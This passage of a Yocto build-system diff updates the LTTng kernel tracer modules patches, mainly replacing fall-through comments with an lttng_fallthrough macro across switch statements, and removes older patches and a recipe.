+ case COUNTER_ALLOC_PER_CPU | COUNTER_ALLOC_GLOBAL:
+ /* Read global counter. */
+ ret = lttng_counter_read(config, counter, dimension_indexes,
+@@ -342,7 +344,8 @@ int lttng_counter_aggregate(const struct lib_counter_config *config,
+ switch (config->alloc) {
+ case COUNTER_ALLOC_GLOBAL:
+ break;
+- case COUNTER_ALLOC_PER_CPU | COUNTER_ALLOC_GLOBAL: /* Fallthrough */
++ case COUNTER_ALLOC_PER_CPU | COUNTER_ALLOC_GLOBAL:
++ lttng_fallthrough;
+ case COUNTER_ALLOC_PER_CPU:
+ //TODO: integrate with CPU hotplug and online cpus
+ for (cpu = 0; cpu < num_possible_cpus(); cpu++) {
+@@ -448,7 +451,8 @@ int lttng_counter_clear(const struct lib_counter_config *config,
+ int cpu, ret;
+
+ switch (config->alloc) {
+- case COUNTER_ALLOC_GLOBAL: /* Fallthrough */
++ case COUNTER_ALLOC_GLOBAL:
++ lttng_fallthrough;
+ case COUNTER_ALLOC_PER_CPU | COUNTER_ALLOC_GLOBAL:
+ /* Clear global counter. */
+ ret = lttng_counter_clear_cpu(config, counter, dimension_indexes, -1);
+@@ -462,7 +466,8 @@ int lttng_counter_clear(const struct lib_counter_config *config,
+ switch (config->alloc) {
+ case COUNTER_ALLOC_GLOBAL:
+ break;
+- case COUNTER_ALLOC_PER_CPU | COUNTER_ALLOC_GLOBAL: /* Fallthrough */
++ case COUNTER_ALLOC_PER_CPU | COUNTER_ALLOC_GLOBAL:
++ lttng_fallthrough;
+ case COUNTER_ALLOC_PER_CPU:
+ //TODO: integrate with CPU hotplug and online cpus
+ for (cpu = 0; cpu < num_possible_cpus(); cpu++) {
+diff --git a/src/lttng-abi.c b/src/lttng-abi.c
+index cc453894..eac1afd1 100644
+--- a/src/lttng-abi.c
++++ b/src/lttng-abi.c
+@@ -34,6 +34,7 @@
+ #include <ringbuffer/vfs.h>
+ #include <ringbuffer/backend.h>
+ #include <ringbuffer/frontend.h>
++#include <wrapper/compiler_attributes.h>
+ #include <wrapper/poll.h>
+ #include <wrapper/file.h>
+ #include <wrapper/kref.h>
+@@ -1332,7 +1333,8 @@ long lttng_metadata_ring_buffer_ioctl(struct file *filp,
+ */
+ return -ENOSYS;
+ }
+- case LTTNG_KERNEL_ABI_RING_BUFFER_FLUSH_EMPTY: /* Fall-through. */
++ case LTTNG_KERNEL_ABI_RING_BUFFER_FLUSH_EMPTY:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_RING_BUFFER_FLUSH:
+ {
+ struct lttng_metadata_stream *stream = filp->private_data;
+@@ -1441,7 +1443,8 @@ long lttng_metadata_ring_buffer_compat_ioctl(struct file *filp,
+ */
+ return -ENOSYS;
+ }
+- case LTTNG_KERNEL_ABI_RING_BUFFER_FLUSH_EMPTY: /* Fall-through. */
++ case LTTNG_KERNEL_ABI_RING_BUFFER_FLUSH_EMPTY:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_RING_BUFFER_FLUSH:
+ {
+ struct lttng_metadata_stream *stream = filp->private_data;
+@@ -1758,8 +1761,10 @@ int lttng_abi_validate_event_param(struct lttng_kernel_abi_event *event_param)
+ switch (event_param->instrumentation) {
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ switch (event_param->u.syscall.entryexit) {
+- case LTTNG_KERNEL_ABI_SYSCALL_ENTRY: /* Fall-through */
+- case LTTNG_KERNEL_ABI_SYSCALL_EXIT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_SYSCALL_ENTRY:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_SYSCALL_EXIT:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL_ENTRYEXIT:
+ break;
+ default:
+@@ -1783,20 +1788,26 @@ int lttng_abi_validate_event_param(struct lttng_kernel_abi_event *event_param)
+ switch (event_param->u.kretprobe.entryexit) {
+ case LTTNG_KERNEL_ABI_SYSCALL_ENTRYEXIT:
+ break;
+- case LTTNG_KERNEL_ABI_SYSCALL_ENTRY: /* Fall-through */
+- case LTTNG_KERNEL_ABI_SYSCALL_EXIT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_SYSCALL_ENTRY:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_SYSCALL_EXIT:
++ lttng_fallthrough;
+ default:
+ return -EINVAL;
+ }
+ break;
+
+- case LTTNG_KERNEL_ABI_TRACEPOINT: /* Fall-through */
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_TRACEPOINT:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_UPROBE:
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ return -EINVAL;
+ }
+@@ -1830,18 +1841,23 @@ int lttng_abi_create_event(struct file *channel_file,
+ }
+
+ switch (event_param->instrumentation) {
+- case LTTNG_KERNEL_ABI_TRACEPOINT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_TRACEPOINT:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ fops = &lttng_event_recorder_enabler_fops;
+ break;
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_UPROBE:
+ fops = &lttng_event_recorder_event_fops;
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ return -EINVAL;
+ }
+@@ -1867,7 +1883,8 @@ int lttng_abi_create_event(struct file *channel_file,
+ goto event_error;
+
+ switch (event_param->instrumentation) {
+- case LTTNG_KERNEL_ABI_TRACEPOINT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_TRACEPOINT:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ {
+ struct lttng_event_enabler *event_enabler;
+@@ -1887,8 +1904,10 @@ int lttng_abi_create_event(struct file *channel_file,
+ break;
+ }
+
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_UPROBE:
+ {
+ struct lttng_kernel_event_recorder *event;
+@@ -1908,8 +1927,10 @@ int lttng_abi_create_event(struct file *channel_file,
+ break;
+ }
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ ret = -EINVAL;
+ goto event_error;
+@@ -2043,18 +2064,23 @@ int lttng_abi_create_event_notifier(struct file *event_notifier_group_file,
+ }
+
+ switch (event_notifier_param->event.instrumentation) {
+- case LTTNG_KERNEL_ABI_TRACEPOINT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_TRACEPOINT:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ fops = &lttng_event_notifier_enabler_fops;
+ break;
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_UPROBE:
+ fops = &lttng_event_notifier_event_fops;
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ ret = -EINVAL;
+ goto inval_instr;
+@@ -2086,7 +2112,8 @@ int lttng_abi_create_event_notifier(struct file *event_notifier_group_file,
+ goto event_notifier_error;
+
+ switch (event_notifier_param->event.instrumentation) {
+- case LTTNG_KERNEL_ABI_TRACEPOINT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_TRACEPOINT:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ {
+ struct lttng_event_notifier_enabler *enabler;
+@@ -2110,8 +2137,10 @@ int lttng_abi_create_event_notifier(struct file *event_notifier_group_file,
+ break;
+ }
+
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_UPROBE:
+ {
+ struct lttng_kernel_event_notifier *event_notifier;
+@@ -2135,8 +2164,10 @@ int lttng_abi_create_event_notifier(struct file *event_notifier_group_file,
+ break;
+ }
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ ret = -EINVAL;
+ goto event_notifier_error;
+diff --git a/src/lttng-bytecode-interpreter.c b/src/lttng-bytecode-interpreter.c
+index b46a23b7..a2a932c6 100644
+--- a/src/lttng-bytecode-interpreter.c
++++ b/src/lttng-bytecode-interpreter.c
+@@ -7,6 +7,7 @@
+ * Copyright (C) 2010-2016 Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
+ */
+
++#include <wrapper/compiler_attributes.h>
+ #include <wrapper/uaccess.h>
+ #include <wrapper/objtool.h>
+ #include <wrapper/types.h>
+@@ -421,7 +422,8 @@ static int dynamic_get_index(struct lttng_kernel_probe_ctx *lttng_probe_ctx,
+ }
+ break;
+ case LOAD_ROOT_CONTEXT:
+- case LOAD_ROOT_APP_CONTEXT: /* Fall-through */
++ lttng_fallthrough;
++ case LOAD_ROOT_APP_CONTEXT:
+ {
+ ret = context_get_index(lttng_probe_ctx,
+ &stack_top->u.ptr,
+diff --git a/src/lttng-bytecode-specialize.c b/src/lttng-bytecode-specialize.c
+index c4b9d04b..f8b5f19d 100644
+--- a/src/lttng-bytecode-specialize.c
++++ b/src/lttng-bytecode-specialize.c
+@@ -8,6 +8,8 @@
+ */
+
+ #include <linux/slab.h>
++#include <wrapper/compiler_attributes.h>
++
+ #include <lttng/lttng-bytecode.h>
+ #include <lttng/align.h>
+ #include <lttng/events-internal.h>
+@@ -271,7 +273,8 @@ static int specialize_get_index(struct bytecode_runtime *runtime,
+ }
+ case OBJECT_TYPE_STRUCT:
+ /* Only generated by the specialize phase. */
+- case OBJECT_TYPE_VARIANT: /* Fall-through */
++ case OBJECT_TYPE_VARIANT:
++ lttng_fallthrough;
+ default:
+ printk(KERN_WARNING "LTTng: bytecode: Unexpected get index type %d",
+ (int) stack_top->load.object_type);
+diff --git a/src/lttng-events.c b/src/lttng-events.c
+index e785fe4d..230e3934 100644
+--- a/src/lttng-events.c
++++ b/src/lttng-events.c
+@@ -28,6 +28,7 @@
+ #include <linux/vmalloc.h>
+ #include <linux/dmi.h>
+
++#include <wrapper/compiler_attributes.h>
+ #include <wrapper/uuid.h>
+ #include <wrapper/vmalloc.h> /* for wrapper_vmalloc_sync_mappings() */
+ #include <wrapper/random.h>
+@@ -659,12 +660,14 @@ int lttng_event_enable(struct lttng_kernel_event_common *event)
+ goto end;
+ }
+ switch (event->priv->instrumentation) {
+- case LTTNG_KERNEL_ABI_TRACEPOINT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_TRACEPOINT:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ ret = -EINVAL;
+ break;
+
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_UPROBE:
+ WRITE_ONCE(event->enabled, 1);
+ break;
+@@ -673,8 +676,10 @@ int lttng_event_enable(struct lttng_kernel_event_common *event)
+ ret = lttng_kretprobes_event_enable_state(event, 1);
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ ret = -EINVAL;
+@@ -719,12 +724,14 @@ int lttng_event_disable(struct lttng_kernel_event_common *event)
+ goto end;
+ }
+ switch (event->priv->instrumentation) {
+- case LTTNG_KERNEL_ABI_TRACEPOINT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_TRACEPOINT:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ ret = -EINVAL;
+ break;
+
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_UPROBE:
+ WRITE_ONCE(event->enabled, 0);
+ break;
+@@ -733,8 +740,10 @@ int lttng_event_disable(struct lttng_kernel_event_common *event)
+ ret = lttng_kretprobes_event_enable_state(event, 0);
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ ret = -EINVAL;
+@@ -873,15 +882,20 @@ struct lttng_kernel_event_recorder *_lttng_kernel_event_recorder_create(struct l
+ event_name = event_desc->event_name;
+ break;
+
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_UPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_UPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ event_name = event_param->name;
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ ret = -EINVAL;
+@@ -1093,8 +1107,10 @@ struct lttng_kernel_event_recorder *_lttng_kernel_event_recorder_create(struct l
+ WARN_ON_ONCE(!ret);
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ ret = -EINVAL;
+@@ -1141,15 +1157,20 @@ struct lttng_kernel_event_notifier *_lttng_event_notifier_create(
+ event_name = event_desc->event_name;
+ break;
+
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_UPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_UPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ event_name = event_notifier_param->event.name;
+ break;
+
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ ret = -EINVAL;
+@@ -1296,9 +1317,12 @@ struct lttng_kernel_event_notifier *_lttng_event_notifier_create(
+ WARN_ON_ONCE(!ret);
+ break;
+
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ ret = -EINVAL;
+@@ -1423,14 +1447,18 @@ void register_event(struct lttng_kernel_event_recorder *event_recorder)
+ ret = lttng_syscall_filter_enable_event(event_recorder->chan, event_recorder);
+ break;
+
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_UPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_UPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_KRETPROBE:
+ ret = 0;
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ }
+@@ -1481,7 +1509,8 @@ int _lttng_event_unregister(struct lttng_kernel_event_recorder *event_recorder)
+ ret = 0;
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ }
+@@ -1512,14 +1541,18 @@ void register_event_notifier(struct lttng_kernel_event_notifier *event_notifier)
+ ret = lttng_syscall_filter_enable_event_notifier(event_notifier);
+ break;
+
+- case LTTNG_KERNEL_ABI_KPROBE: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KPROBE:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_UPROBE:
+ ret = 0;
+ break;
+
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ }
+@@ -1559,9 +1592,12 @@ int _lttng_event_notifier_unregister(
+ ret = lttng_syscall_filter_disable_event_notifier(event_notifier);
+ break;
+
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ }
+@@ -1614,8 +1650,10 @@ void _lttng_event_destroy(struct lttng_kernel_event_common *event)
+ lttng_uprobes_destroy_event_private(event_recorder);
+ break;
+
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ }
+@@ -1647,9 +1685,12 @@ void _lttng_event_destroy(struct lttng_kernel_event_common *event)
+ lttng_uprobes_destroy_event_notifier_private(event_notifier);
+ break;
+
+- case LTTNG_KERNEL_ABI_KRETPROBE: /* Fall-through */
+- case LTTNG_KERNEL_ABI_FUNCTION: /* Fall-through */
+- case LTTNG_KERNEL_ABI_NOOP: /* Fall-through */
++ case LTTNG_KERNEL_ABI_KRETPROBE:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_FUNCTION:
++ lttng_fallthrough;
++ case LTTNG_KERNEL_ABI_NOOP:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ }
+@@ -2713,7 +2754,8 @@ void lttng_session_sync_event_enablers(struct lttng_kernel_session *session)
+ int nr_filters = 0;
+
+ switch (event_recorder_priv->parent.instrumentation) {
+- case LTTNG_KERNEL_ABI_TRACEPOINT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_TRACEPOINT:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ /* Enable events */
+ list_for_each_entry(enabler_ref,
+@@ -2807,7 +2849,8 @@ void lttng_event_notifier_group_sync_enablers(struct lttng_event_notifier_group
+ int nr_filters = 0, nr_captures = 0;
+
+ switch (event_notifier_priv->parent.instrumentation) {
+- case LTTNG_KERNEL_ABI_TRACEPOINT: /* Fall-through */
++ case LTTNG_KERNEL_ABI_TRACEPOINT:
++ lttng_fallthrough;
+ case LTTNG_KERNEL_ABI_SYSCALL:
+ /* Enable event_notifiers */
+ list_for_each_entry(enabler_ref,
+@@ -3877,7 +3920,7 @@ int print_escaped_ctf_string(struct lttng_kernel_session *session, const char *s
+ if (ret)
+ goto error;
+ /* We still print the current char */
+- /* Fallthrough */
++ lttng_fallthrough;
+ default:
+ ret = lttng_metadata_printf(session, "%c", cur);
+ break;
+diff --git a/src/lttng-string-utils.c b/src/lttng-string-utils.c
+index d9447903..65946193 100644
+--- a/src/lttng-string-utils.c
++++ b/src/lttng-string-utils.c
+@@ -4,6 +4,7 @@
+ */
+
+ #include <linux/types.h>
++#include <wrapper/compiler_attributes.h>
+
+ #include <lttng/string-utils.h>
+
+@@ -302,7 +303,7 @@ retry:
+ p = pattern_get_char_at_cb(p_at,
+ pattern_get_char_at_cb_data);
+
+- /* Fall-through. */
++ lttng_fallthrough;
+ default:
+ /*
+ * Default case which will compare the escaped
+diff --git a/src/probes/lttng-kretprobes.c b/src/probes/lttng-kretprobes.c
+index 0fa6a1bf..1d0a5ecb 100644
+--- a/src/probes/lttng-kretprobes.c
++++ b/src/probes/lttng-kretprobes.c
+@@ -14,6 +14,7 @@
+ #include <lttng/events.h>
+ #include <lttng/events-internal.h>
+ #include <ringbuffer/frontend_types.h>
++#include <wrapper/compiler_attributes.h>
+ #include <wrapper/vmalloc.h>
+ #include <wrapper/irqflags.h>
+ #include <lttng/tracer.h>
+@@ -61,7 +62,8 @@ int _lttng_kretprobes_handler(struct kretprobe_instance *krpi,
+ return 0;
+ break;
+ }
+- case LTTNG_KERNEL_EVENT_TYPE_NOTIFIER: /* Fall-through. */
++ case LTTNG_KERNEL_EVENT_TYPE_NOTIFIER:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ }
+@@ -90,7 +92,8 @@ int _lttng_kretprobes_handler(struct kretprobe_instance *krpi,
+ chan->ops->event_commit(&ctx);
+ break;
+ }
+- case LTTNG_KERNEL_EVENT_TYPE_NOTIFIER: /* Fall-through. */
++ case LTTNG_KERNEL_EVENT_TYPE_NOTIFIER:
++ lttng_fallthrough;
+ default:
+ WARN_ON_ONCE(1);
+ }
+--
+2.19.1
+
diff --git a/meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch b/meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch
deleted file mode 100644
index 76063607a8..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From ab07574ef90fa510f293c37897d577066a88fe0d Mon Sep 17 00:00:00 2001
-From: Nathan Lynch <nathan_lynch@mentor.com>
-Date: Tue, 25 Apr 2017 16:26:57 -0500
-Subject: [PATCH] BUILD_RUNTIME_BUG_ON vs gcc7
-
-Avoid using LTTng's BUILD_RUNTIME_BUG_ON macro, as it appears to run
-into a similar problem as Linux experienced with ilog2.
-
-See:
-https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=474c90156c8dcc2fa815e6716cc9394d7930cb9c
-https://gcc.gnu.org/bugzilla/show_bug.cgi?id=72785
-
-Upstream-Status: Pending
-Signed-off-by: Nathan Lynch <nathan_lynch@mentor.com>
----
- lib/align.h | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/lib/align.h b/lib/align.h
-index 5b91ae87410b..5e134cd485fe 100644
---- a/lib/align.h
-+++ b/lib/align.h
-@@ -48,7 +48,7 @@
- */
- #define offset_align(align_drift, alignment) \
- ({ \
-- BUILD_RUNTIME_BUG_ON((alignment) == 0 \
-+ BUG_ON((alignment) == 0 \
- || ((alignment) & ((alignment) - 1))); \
- (((alignment) - (align_drift)) & ((alignment) - 1)); \
- })
-@@ -63,7 +63,7 @@
- */
- #define offset_align_floor(align_drift, alignment) \
- ({ \
-- BUILD_RUNTIME_BUG_ON((alignment) == 0 \
-+ BUG_ON((alignment) == 0 \
- || ((alignment) & ((alignment) - 1))); \
- (((align_drift) - (alignment)) & ((alignment) - 1)); \
- })
---
-2.9.3
-
diff --git a/meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch b/meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch
deleted file mode 100644
index e411242272..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 1b0e574d680101105a6c1e8931c78824f5a97a42 Mon Sep 17 00:00:00 2001
-From: Otavio Salvador <otavio@ossystems.com.br>
-Date: Mon, 5 Sep 2016 17:08:56 +0000
-Subject: [PATCH] Makefile: Do not fail if CONFIG_TRACEPOINTS is not enabled
-Organization: O.S. Systems Software LTDA.
-
-The lttng-modules are being pulled by the tools-profile image feature,
-however, not every kernel has the CONFIG_TRACEPOINTS feature enabled.
-
-This change makes the build do not fail when CONFIG_TRACEPOINTS is not
-available, allowing it to be kept being pulled by default.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
----
- Makefile | 9 +++++----
- 1 file changed, 5 insertions(+), 4 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 8602649..75550cc 100644
---- a/Makefile
-+++ b/Makefile
-@@ -8,10 +8,7 @@ ifneq ($(KERNELRELEASE),)
- # and defines the modules to be built.
-
- ifdef CONFIG_LOCALVERSION # Check if dot-config is included.
-- ifeq ($(CONFIG_TRACEPOINTS),)
-- $(error The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
-- endif # CONFIG_TRACEPOINTS
-- endif # ifdef CONFIG_LOCALVERSION
-+ ifneq ($(CONFIG_TRACEPOINTS),)
-
- TOP_LTTNG_MODULES_DIR := $(shell dirname $(lastword $(MAKEFILE_LIST)))
-
-@@ -94,6 +91,10 @@ ifneq ($(KERNELRELEASE),)
- obj-$(CONFIG_LTTNG) += lib/
- obj-$(CONFIG_LTTNG) += tests/
-
-+ else
-+ $(warning The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
-+ endif # CONFIG_TRACEPOINTS
-+ endif # ifdef CONFIG_LOCALVERSION
- else # KERNELRELEASE
-
- # This part of the Makefile is used when the 'make' command is runned in the
---
-2.1.4
-
diff --git a/meta/recipes-kernel/lttng/lttng-modules_2.12.3.bb b/meta/recipes-kernel/lttng/lttng-modules_2.12.3.bb
deleted file mode 100644
index ca79e27df6..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules_2.12.3.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SECTION = "devel"
-SUMMARY = "Linux Trace Toolkit KERNEL MODULE"
-DESCRIPTION = "The lttng-modules 2.0 package contains the kernel tracer modules"
-LICENSE = "LGPLv2.1 & GPLv2 & MIT"
